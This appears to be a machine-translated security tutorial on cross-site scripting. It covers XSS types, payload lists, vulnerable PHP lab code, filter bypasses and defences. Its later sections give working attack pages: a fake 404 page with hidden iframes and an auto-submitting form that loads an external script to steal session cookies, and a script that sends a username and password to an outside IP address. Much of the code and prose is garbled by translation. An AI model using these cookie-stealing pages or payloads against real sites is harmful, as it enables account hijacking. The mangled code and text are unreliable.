XSS(Cross-site scripting attack) in detail

Principles and classification of XSS

Cross Site Scripting attack XSS(Cross Site Scripting) is abbreviated to XSS so as not to confuse the acronym for Cascading Style Sheets (CSS). Malicious attackers insert malicious Script codes into Web pages. When users browse the page, the Script codes embedded in the Web will be executed, so as to achieve the purpose of malicious attacks on users. XSS attacks are user-level attacks!

XSS includes storage, reflection, and DOM XSS Stored XSS: Stored XSS, persistent, code is stored in the server, such as in personal information or published articles, insert code, if not filtered or filtering is not strict, then the code will be stored in the server, the user access to the page triggered code execution. This type of XSS is dangerous and prone to worms and cookie theft reflex XSS: non-persistent, requiring the user to trick himself into clicking the link to trigger the XSS code (there is no such page or content on the server), which tends to appear on the search page. Reflective XSS is mostly used to steal users’ Cookie information. DOM XSS: Without going through the backend, DOM-XSS vulnerability is a vulnerability based on Document Objeet Model (DOM). Dom-xss is triggered by the parameters passed in from URL, and actually belongs to reflective XSS. DOM: DOM document Object Model

Properties that may trigger dom-type XSS

document.referer
window.name
location
innerHTML
documen.write
Copy the code

As shown in the figure, we pass in the value of the parameter in the URL, and then the client page obtains the value of the parameter in the URL through THE METHOD of DOM through JS script, and then assigns the value to the selection list through DOM method. This process is completely completed in the front end without going through the back end. So, we can fiddle with the parameters we input.

XSS attack payloads

All of the following tags can be replaced with //, such as # popup hack # popup hack # popup 1. For numbers you can use no quotes # popup cookie # to refer to external XSS

SVG tag:

<svg onload="alert(1)">
<svg onload="alert(1)"//
Copy the code

The < img > tag:

<img  src=1&western nerr &western r = alert ("hack")>
<img  src=1At οnerrο R =alert(document.cookie)> # Popup cookieCopy the code

, the < body > tag:

< body &western nl &western AD = alert (1) > < body &western npagesh &western w = alert (1) >Copy the code

Video tags:

< video &western nl &western adstart = alert (1) src="/media/hack-the-planet.mp4" />
Copy the code

Style tags:

< style &western nl &western AD = alert (1)></style>
Copy the code

Where can XSS be plugged?

  • User input as script tag content
  • User input as HTML comment content
  • The user enters the attribute name as an HTML tag
  • Attribute values entered by the user as HTML tags
  • The user enters the name as an HTML tag
  • Insert it directly into CSS

Most importantly, never introduce any untrusted third-party JavaScript into your page!

# User input as HTML comment content, allowing an attacker to make a closed bypass <! -- User input --> <! -- --><script>alert('hack')</script><! -- --> # The user input acts as the tag attribute name, allowing an attacker to close around <div user input ="xx">  </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div> # User input as a tag attribute value, allowing an attacker to close around <div id="User input"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div> # The user input serves as the tag name, allowing an attacker to close around < user input ID ="xx" />
<><script>alert('hack')</script><b id="xx"<style> User input <style> <style> <script>alert('hack')</script><style> </style>
Copy the code

XSS vulnerability mining

Black box testing

Find everything that the user can control and print in the page code, such as the following:

  • Each parameter of the URL
  • The URL itself
  • The form
  • The search box
  • Common Service Scenarios

Areas:

  • Comment area, message area, personal information, order information, etc
  • Target type: in-site message, web instant message, private message, feedback
  • Risks: search box, current directory, image attributes, etc
  • White box testing (code audit)

The XSS code audit starts with where the parameters are received and some keywords.

Common ways to receive arguments in PHP are GET, _GET, GET, _POST, $_REQUEST, and so on. You can search for all places to receive arguments. Then track the received data to see if it is output to the page, and then see whether the data output to the page is filtered and HTML coding and other processing.

We can also search for output statements like echo, track where the output variable came from, whether we can control, if we get it from the database, whether we can control the data stored in the database, whether we filter it before we put it into the database, and so on.

Most programs will uniformly call functions that receive arguments wrapped in a public file, so we need to audit these public functions to see if they are filtered, bypassed, etc.

In the same way, auditing DOM injection can search for keywords that JS manipulates DOM elements for auditing.

XSS attack process

Reflective XSS vulnerability:

Alice often visits a website owned by Bob. Bob’s site requires Alice to log in using a username/password and stores Alice sensitive information (such as bank account information). Tom found that Bob’s site had a reflective XSS vulnerability. Tom made use of the reflective XSS vulnerability of Bob’s website to compile an EXP, which was made into a link form, and used various means to induce Alice to click. After Alice logged in to Bob’s site, The malicious script embedded in the malicious link is executed in Alice’s browser. This script steals sensitive information (cookies, account information, etc.). This information is then sent to Tom without Alice’s knowledge. Tom can log in Bob’s site as Alice by using the cookie he has obtained. If the script is more powerful, Tom can also control Alice’s browser and further exploit the vulnerability control

Stored XSS vulnerability:

Bob has a Web site that allows users to publish/browse published information. Tom detects a storage-type XSS vulnerability in Bob’s site. Tom posts a hot message with a malicious script on Bob’s website, which is stored in Bob’s server’s database, and then attracts other users to read the hot message. Tom’s malicious script is executed after Bob or anyone else such as Alice views the information. After Tom’s malicious script is executed, Tom can launch an XSS attack on the user of the browser page. From the above we know that stored XSS is the most harmful. Because it is stored on the server side, there is no need for us to have any contact with the target, as long as the target visits the page will be attacked. Reflective and DOM-based XSS require us to trick users into clicking on malicious urls that we have constructed, and require direct or indirect contact with users, such as social engineering or the way horses are displayed on other pages.

So what can you do with the XSS vulnerability?If our JS level is average, we can use the free XSS platform on the Internet to construct the code to carry out the attack.

Simple attack test for XSS vulnerability

Reflective XSS:

Let’s release the source code

// front-end 1.html:
<html>
<head lang="en">
    <meta charset="UTF-8"> <title> Reflection XSS</title> </head> <body> <form action="action.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="Submit">
    </form>
</body>
</html>

// back end action.php:<? php $name=$_POST["name"]; echo $name; ? >Copy the code

There is a user-submitted page where users can submit data, which is then processed in the backgroundSo, we can submit data in the input field: see what happensThe hack page pops up directly, and you can see that the statement we inserted has been executed by the page. This is the most basic reflective XSS vulnerability, where the data flow is: front end > back end > front end

Storage XSS:

I’ll give you the source code

// Front-end: 2.html
<html>
<head lang="en">
    <meta charset="UTF-8"> <title> Store XSS</title> </head> <body> <form action="action2.php" method="post"> Enter your ID: <input type="text" name="id"/> <br/> Enter your Name: <input type="text" name="name" /> <br/>
        <input type="submit" value="Submit">
    </form>
</body>
</html>
// Back end: action2.php<? php $id=$_POST["id"];
	$name=$_POST["name"];
	mysql_connect("localhost"."root"."root");
	mysql_select_db("test");
	
	$sql="insert into xss value ($id,'$name')"; $result=mysql_query($sql); ? >// For other users to access the page: show2.php
<?php
	mysql_connect("localhost"."root"."root");
	mysql_select_db("test");
	$sql="select * from xss where id=1";
	$result=mysql_query($sql);
	while($row=mysql_fetch_array($result)){
		echo $row['name'];
	}
?>
Copy the code

There is a user-submitted page, and after the data is submitted to the back end, the back end stores it in the database. Then when another user visits another page, the back end calls up the data and displays it to another user, and the XSS code is executed.

$name is a single quote in the SQL statement, so it will close the single quote in the SQL statement. Otherwise it won’t go in. After submitting it, let’s look at the database

As you can see, our XSS statement is already inserted into the database and then when another user accesses the show2.php page, the XSS code we inserted is executed. The data flow of storage XSS is: front-end > back-end > database > back-end > front-end

XSS DOM type:

Let’s start with the source code

/ / the front 3. HTML
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>DOM型XSS</title>
</head>
<body>
    <form action="action3.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="Submit">
    </form>
</body>
</html>
/ / the back-end action3. PHP<? php $name=$_POST["name"]; ? > <input id="text" type="text" value="
      "/>
<div id="print"></div>
<script type="text/javascript">
  var text=document.getElementById("text");
  var print=document.getElementById("print");
Copy the code

print.innerHTML=text.value; // Get the value of text and print it in print. This is the main cause of XSS. There is a user-submitted page where users can submit data, which is then processed in the background

We can type <img SRC =1 οnerrοr=alert(‘hack’)> and watch the page change

The hack page pops up directly, and you can see that the statement we inserted has been executed by the page. This is a DOM-type XSS vulnerability, where data flows to the front-end –> browser

Simple filtering and bypassing of XSS

Preg_replace () filters the characters that make up the SQL statement to prevent SQL injection. Programs can also use functions to filter out key characters that make up XSS code. However, the road is one foot higher than the devil is one foot higher, although filtered, but can still be filtered around, in order to achieve the purpose of XSS attack.

One: Case sensitive filter labels

Let’s start with the source code

// front-end 1.html:
<html>
<head lang="en">
    <meta charset="UTF-8"> <title> Reflection XSS</title> </head> <body> <form action="action4.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="Submit">
    </form>
</body>
</html>

// back action4.php:<? php $name=$_POST["name"]; 
if($name! =null){
	$name=preg_replace("/<script>/"."",$name);      / / filter < script >
	$name=preg_replace("/<\/script>/"."",$name);   / / filter < / script >
	echo $name; 
}
?>
Copy the code

Bypass technique: You can use case to bypass

Two: Filter labels case insensitive

Let’s start with the source code

This is the same code as above, except that the filter is case insensitive with an extra I


n a m e = p r e g r e p l a c e ( / < s c r i p t > / i . . name=preg_replace(“/<script>/i”,””,
name); // case insensitive filter name); // Use nested script tags to bypass <script>

Three: case insensitive, filter all content between

Let’s start with the source code

This is the same code as above, except that the filtering conditions have been changed

Name = pregreplace (‘ / < (. ∗) s (. ∗) c (. ∗) r (. ∗) I (. ∗) p (. ∗) t/I ‘, ‘ ‘, name = preg_replace (‘ / < (. *) s (. *) c (. *) r (. *) I (. *) p (. *) t/I ‘, ‘ ‘, Name = pregreplace (‘ / < (. ∗) s (. ∗) c (. ∗) r (. ∗) I (. ∗) p (. ∗) t/I ‘, ‘ ‘, _GET [‘ name ‘]); // Filters

Payload: <img SRC =1 οnerrοr=alert(‘hack’)>

We can type <img SRC =1 οnerrοr=alert(‘hack’)> and watch the page change

XSS defenses

The general idea of XSS defense is to filter the user’s input (and URL parameters) and HTML encode the output. That is, all content submitted by the user is filtered. Parameters in the URL are filtered to remove content that may cause script execution. It then htML-encodes the content that is dynamically output to the page so that the script cannot be executed in the browser.

The filter can be classified into blacklist filtering and whitelist filtering. Blacklist filtering can block most XSS attacks, but there is still a risk of being bypassed. Although whitelist filtering can basically eliminate XSS attacks, such strict whitelist filtering cannot be implemented in real environments.

To htML-encode output is to htML-encode user input data through functions so that it cannot be run as a script.

Here, we use the HTMLspecialchars function in PHP to encode the name parameter entered by the user into an HTML entity

# Use htmlspecialchars to htML-encode the name parameter entered by the user and convert it to an HTML entity
n a m e = h t m l s p e c i a l c h a r s ( name = htmlspecialchars(
_GET[ ‘name’ ] ); As shown below, Figure 1 is not HTML encoded and Figure 2 is HTML encoded. After HTML encoding, script tags are treated as HTML entities.We can also set the HTTP Only attribute of the session Cookie on the server side, so that the JS script on the client side cannot get the Cookie information

The utilization posture of reflective XSS

Now we find that there is reflective XSS in a website. When a user logs in to this website, we lure the user to click on the malicious link carefully made by us to steal the user’s Cookie and send it to us. Then we use the stolen Cookie to log in to the user’s website as the user.

Get type

When we enter parameters of the request type of get, we enter parameters in the form of URL parameters. The following figure

The link is: http://127.0.0.1/vulnerabilities/xss_r/? name=

So, how do we construct malicious code that will trick the user into clicking on it and not make the user click on the malicious link?

We constructed the following code, saved it as an HTML page, and put it on our own server as a link. When a user logs in to a website with vulnerabilities, and the user clicks on a malicious link constructed by us, the link page will secretly open the IFrame framework, and the iframe will visit the link and then execute our JS code. This js code will send cookies of vulnerable websites to our platform, but the user does not know that he will open a 404 page!

<iframe src="Http://127.0.0.1/vulnerabilities/xss_r/? name=" style="display:none;"></iframe> <! DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>404</title> <style type="text/css">
        body{font:14px/1.5 'Microsoft YaHei'.Microsoft Yahei,Helvetica,Sans-serif; min-width:1200px; background:#f0f1f3; } .error-page{background:#f0f1f3; padding:80px0180px} .error-page-main{position:relative; background:#f9f9f9; margin:0auto; width:617px; -ms-box-sizing:border-box; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box; padding:50px 50px 70px} .error-page-main h3{font-size:24px; font-weight:400; border-bottom:1px solid #d0d0d0} .error-page-main h3 strong{font-size:54px; font-weight:400; margin-right:20px} </style> </head> <body> <iframe src="Http://127.0.0.1/vulnerabilities/xss_r/? name=" style="display:none;"></iframe>
<div class="error-page">
    <div class="error-page-container">
        <div class="error-page-main">
            <h3>
                <strong>404</strong> Sorry, the page you want to visit does not exist! </h3> </div> </div> </div> </body> </html>Copy the code

Our XSS platform will get the user’s Cookie, and then we can use the Cookie to access the site as the user.

[Data Collection]

Note: Our attack code can take advantage of the premise that the X-frame-options of the website with XSS vulnerability are not configured, and the session Cookie does not set the Http Only attribute

Post type

We now know that one site has a reflective XSS vulnerability in its username input boxWe captured the packets and looked at them

We constructed the following code, saved it as an HTML page, and put it on our own server as a link. When the user logs in to the website with vulnerabilities and clicks the malicious link constructed by us, js code will be executed after the page of the malicious link is loaded to complete the submission of the form. The user name parameter of the form is our malicious JS code. After submitting the form, the JS code will send cookies from the vulnerable website to our platform, but the user will not know that he will open a 404 page.

In 404 page, we add an iframe frame under the form, and the name of the iframe frame is equal to the target of the form, and we make the iframe frame invisible.

<! DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>404</title> <style type="text/css">
        body{font:14px/1.5 'Microsoft YaHei'.Microsoft Yahei,Helvetica,Sans-serif; min-width:1200px; background:#f0f1f3; } .error-page{background:#f0f1f3; padding:80px0180px} .error-page-main{position:relative; background:#f9f9f9; margin:0auto; width:617px; -ms-box-sizing:border-box; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box; padding:50px 50px 70px} .error-page-main h3{font-size:24px; font-weight:400; border-bottom:1px solid #d0d0d0} .error-page-main h3 strong{font-size:54px; font-weight:400; margin-right:20px} </style> <script type="text/javascript">
        function attack(a)
        {
            document.getElementById("transfer").submit();
        }
    </script>
</head>
<body>
<iframe src="form.html" frameborder="0" style="display: none"></iframe>
<div class="error-page">
    <div class="error-page-container">
        <div class="error-page-main">
            <h3>
                <strong>404</strong> Sorry, the page you want to visit does not exist! </h3> </div> </div> <form method="POST" id="transfer"  action="http://127.0.0.1/xss/action.php" target="frameName">
         <input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>">
         <input type="hidden" name="password" value="1">
    </form>
    <iframe src="" frameborder="0" name="frameName" style="display: none"></iframe>
</div>
</body>
</html>
Copy the code

When the user clicked on the malicious link we constructed, they found that a 404 page was opened. In fact, this page secretly submits the form.

[Data Collection]

And our XSS platform also received the data sent (the reason there is no Cookie in this data is that I did not set cookies on this website, it is just a random page).

Use JS to send user information to the background

<! DOCTYPE html> <html> <head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
    <script>
        $(function(){
            // We now assume that user and pass are the username and password of the user we obtained with js
            user="admin";
            pass="root";
            url="Http://120.79.74.249:8080/? user="+user+"&pass="+pass;
            var frame=$("<iframe>");
            frame.attr("src",url);
            frame.attr("style"."display:none");
            $("#body").append(frame);      // Add an iframe frame and set it not to display. The framework surreptitiously accesses the link.
        });
    </script>
</head>
<body id="body"> <h3>hello,word! </h3> </body> </html>Copy the code

When the user visits the page, we can see the user visit history in the background.

Finally, to thank the readers, I would like to contribute some of my favorites of network security/penetration test learning to you, and give back to each and every reader, hoping to help you.

Dry goods mainly include:

[Data Collection]